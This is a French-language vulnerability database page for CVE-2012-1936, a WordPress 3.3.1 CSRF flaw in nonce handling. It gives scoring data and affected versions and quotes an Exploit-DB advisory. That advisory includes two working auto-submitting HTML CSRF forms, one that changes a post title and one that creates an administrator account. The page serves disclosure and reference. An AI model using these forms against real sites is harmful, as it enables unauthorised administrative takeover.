CVE-2012-1936 : Détail

CVE-2012-1936

Cross-Site Request Forgery - CSRF
A01-Broken Access Control
0.37%V4
Network
2012-05-03
18h00 +00:00
2017-12-13
17h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The wp_create_nonce function in wp-includes/pluggable.php in WordPress 3.3.1 and earlier associates a nonce with a user account instead of a user session, which might make it easier for remote attackers to conduct cross-site request forgery (CSRF) attacks on specific actions and objects by sniffing the network, as demonstrated by attacks against the wp-admin/admin-ajax.php and wp-admin/user-new.php scripts. NOTE: the vendor reportedly disputes the significance of this issue because wp_create_nonce operates as intended, even if it is arguably inconsistent with certain CSRF protection details advocated by external organizations

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-352 Cross-Site Request Forgery (CSRF)
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 18791

Date de publication : 2012-04-26 22h00 +00:00
Auteur : Ivano Binetti
EDB Vérifié : No

+---------------------------------------------------------------------------------------------------------------------------------------------------+ # Exploit Title : Wordpress 3.3.1 Multiple CSRF Vulnerabilities # Date : 19-03-2012 # Author : Ivano Binetti (http://www.ivanobinetti.com) # Software link : http://wordpress.org/wordpress-3.3.1.zip # Vendor site : http://wordpress.org # Version : 3.3.1 (and lower). Probably also version 3.3.2 is affected. # Tested on : Debian Squeeze (6.0) # Original Advisory : http://www.webapp-security.com/2012/04/wordpress-3-3-1-multiple-csrf-vulnerabilities/ # CVE : CVE-2012-1936 # OSVDB ID : 81588 # Bugtraq ID : 53280 +---------------------------------------------------------------------------------------------------------------------------------------------------+ Summary 1)Introduction 2)Vulnerabilities Description 2.1 Multiple CSRF 3)Exploit 3.1 CSRF (Change Post Title) 3.2 CSRF (Add Admin) +---------------------------------------------------------------------------------------------------------------------------------------------------+ 1)Introduction WordPress "is web software you can use to create a beautiful website or blog. We like to say that WordPress is both free and priceless at the same time." 2)Vulnerability Description 2.1 Multiple CSRF Wordpress 3.3.1 suffers from multiple CSRF vulnerabilities which allow an attacker to change post title, add administrators/users, delete administrators/users, approve and unapprove comment, delete comment, change background image, insert custom header image, change site title, change administrator's email, change Wordpress Address, change Site Address, when an authenticated user/admin browses a special crafted web page. May be other parameters can be modified. This vulnerability is caused by a security flaw in anti-CSRF token (_wpnonce, _wpnonce_create-user, _ajax_nonce, _wpnonce-custom-background-upload, _wpnonce-custom-header-upload) generation. For some operations (see below) above specified anti-CSRF tokens are not associated with the current user session (as Owasp recommends) but are the are valid for all operations (for a specific administrator/user) within 12 hour. The above described vulnerability allows an attacker - who has sniffed anti-CSRF token - to have 12 hour to perform a CSRF attack. For Owasp recommendation about anti-CSRF token, you can read the following document: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet#General_Recommendation:_Synchronizer_Token_Pattern This problem affects the following operations: - Add Admin/User - Delete Admin/User - Approve comment - Unapprove comment - Delete comment - Change background image - Insert custom header image - Change site title - Change administrator's email - Change Wordpress Address - Change Site Address Other operations (like insert a new post) are not affected by this CSRF vulnerability. In this Advisory I will only demonstrate how to change post title and how to add a new administrator account. 3)Exploit 3.1 CSRF (Change Post Title) <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to change post title</H2> <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/admin-ajax.php"> <input type="hidden" name="post_title" value="hackedtitle"/> <input type="hidden" name="post_name" value="hackedtitle"/> <input type="hidden" name="mm" value="03"/> <input type="hidden" name="jj" value="16"/> <input type="hidden" name="aa" value="2012"/> <input type="hidden" name="hh" value=""/> <input type="hidden" name="mn" value=""/> <input type="hidden" name="ss" value=""/> <input type="hidden" name="post_author" value="1"/> <input type="hidden" name="post_password" value=""/> <input type="hidden" name="post_category%5B%5D" value="0"/> <input type="hidden" name="post_category%5B%5D" value="1"/> <input type="hidden" name="tax_input%5Bpost_tag%5D" value=""/> <input type="hidden" name="comment_status" value="open"/> <input type="hidden" name="ping_status" value="open"/> <input type="hidden" name="_status" value="publish"/> <input type="hidden" name="post_format" value="0"/> <input type="hidden" name="_inline_edit" value="<sniffed_value>"/> <input type="hidden" name="post_view" value="list"/> <input type="hidden" name="screen" value="edit-post"/> <input type="hidden" name="action" value="inline-save"/> <input type="hidden" name="post_type" value="post"/> <input type="hidden" name="post_ID" value="1"/> <input type="hidden" name="edit_date" value="true"/> <input type="hidden" name="post_status" value="all"/> </form> </body> </html> Note: this exploit simulate changing of post title using "Quick Edit" function 3.2 CSRF (Add Admin) <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to add Administrator</H2> <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php"> <input type="hidden" name="action" value="createuser"/> <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/> <input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/> <input type="hidden" name="user_login" value="admin2"/> <input type="hidden" name="email" value="admin2@admin.com"/> <input type="hidden" name="first_name" value="admin2@admin.com"/> <input type="hidden" name="last_name" value=""/> <input type="hidden" name="url" value=""/> <input type="hidden" name="pass1" value="password"/> <input type="hidden" name="pass2" value="password"/> <input type="hidden" name="role" value="administrator"/> <input type="hidden" name="createuser" value="Add+New+User+"/> </form> </body> </html> +--------------------------------------------------------------------------------------------------------------------------------------------------+

Products Mentioned

Configuraton 0

Wordpress>>Wordpress >> Version To (including) 3.3.1

Wordpress>>Wordpress >> Version 1.0

Wordpress>>Wordpress >> Version 1.0.1

Wordpress>>Wordpress >> Version 1.0.2

Wordpress>>Wordpress >> Version 1.1.1

Wordpress>>Wordpress >> Version 1.2

Wordpress>>Wordpress >> Version 1.2.1

Wordpress>>Wordpress >> Version 1.2.2

Wordpress>>Wordpress >> Version 1.2.3

Wordpress>>Wordpress >> Version 1.2.4

Wordpress>>Wordpress >> Version 1.2.5

Wordpress>>Wordpress >> Version 1.2.5

Wordpress>>Wordpress >> Version 1.3

Wordpress>>Wordpress >> Version 1.3.2

Wordpress>>Wordpress >> Version 1.3.3

Wordpress>>Wordpress >> Version 1.5

Wordpress>>Wordpress >> Version 1.5.1

Wordpress>>Wordpress >> Version 1.5.1.1

Wordpress>>Wordpress >> Version 1.5.1.2

Wordpress>>Wordpress >> Version 1.5.1.3

Wordpress>>Wordpress >> Version 1.5.2

Wordpress>>Wordpress >> Version 2.0

Wordpress>>Wordpress >> Version 2.0.1

Wordpress>>Wordpress >> Version 2.0.2

Wordpress>>Wordpress >> Version 2.0.4

Wordpress>>Wordpress >> Version 2.0.5

Wordpress>>Wordpress >> Version 2.0.6

Wordpress>>Wordpress >> Version 2.0.7

Wordpress>>Wordpress >> Version 2.0.8

Wordpress>>Wordpress >> Version 2.0.9

Wordpress>>Wordpress >> Version 2.0.10

Wordpress>>Wordpress >> Version 2.0.11

Wordpress>>Wordpress >> Version 2.1

Wordpress>>Wordpress >> Version 2.1.1

Wordpress>>Wordpress >> Version 2.1.2

Wordpress>>Wordpress >> Version 2.1.3

Wordpress>>Wordpress >> Version 2.2

Wordpress>>Wordpress >> Version 2.2.1

Wordpress>>Wordpress >> Version 2.2.2

Wordpress>>Wordpress >> Version 2.2.3

Wordpress>>Wordpress >> Version 2.3

Wordpress>>Wordpress >> Version 2.3.1

Wordpress>>Wordpress >> Version 2.3.2

Wordpress>>Wordpress >> Version 2.3.3

Wordpress>>Wordpress >> Version 2.5

Wordpress>>Wordpress >> Version 2.5.1

Wordpress>>Wordpress >> Version 2.6

Wordpress>>Wordpress >> Version 2.6.1

Wordpress>>Wordpress >> Version 2.6.2

Wordpress>>Wordpress >> Version 2.6.3

Wordpress>>Wordpress >> Version 2.6.5

Wordpress>>Wordpress >> Version 2.7

Wordpress>>Wordpress >> Version 2.7.1

Wordpress>>Wordpress >> Version 2.8

Wordpress>>Wordpress >> Version 2.8.1

Wordpress>>Wordpress >> Version 2.8.2

Wordpress>>Wordpress >> Version 2.8.3

Wordpress>>Wordpress >> Version 2.8.4

Wordpress>>Wordpress >> Version 2.8.4

Wordpress>>Wordpress >> Version 2.8.5

Wordpress>>Wordpress >> Version 2.8.5.1

Wordpress>>Wordpress >> Version 2.8.5.2

Wordpress>>Wordpress >> Version 2.8.6

Wordpress>>Wordpress >> Version 2.9

Wordpress>>Wordpress >> Version 2.9.1

Wordpress>>Wordpress >> Version 2.9.1.1

Wordpress>>Wordpress >> Version 2.9.2

Wordpress>>Wordpress >> Version 3.0

Wordpress>>Wordpress >> Version 3.0.1

Wordpress>>Wordpress >> Version 3.0.2

Wordpress>>Wordpress >> Version 3.0.3

Wordpress>>Wordpress >> Version 3.0.3

    Wordpress>>Wordpress >> Version 3.0.4

    Wordpress>>Wordpress >> Version 3.0.5

    Wordpress>>Wordpress >> Version 3.0.6

    Wordpress>>Wordpress >> Version 3.1

    Wordpress>>Wordpress >> Version 3.1.1

    Wordpress>>Wordpress >> Version 3.1.2

    Wordpress>>Wordpress >> Version 3.1.3

    Wordpress>>Wordpress >> Version 3.1.4

    Wordpress>>Wordpress >> Version 3.2

    Wordpress>>Wordpress >> Version 3.2.1

    Wordpress>>Wordpress >> Version 3.3

    Références

    http://www.exploit-db.com/exploits/18791
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.securityfocus.com/bid/53280
    Tags : vdb-entry, x_refsource_BID
    Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.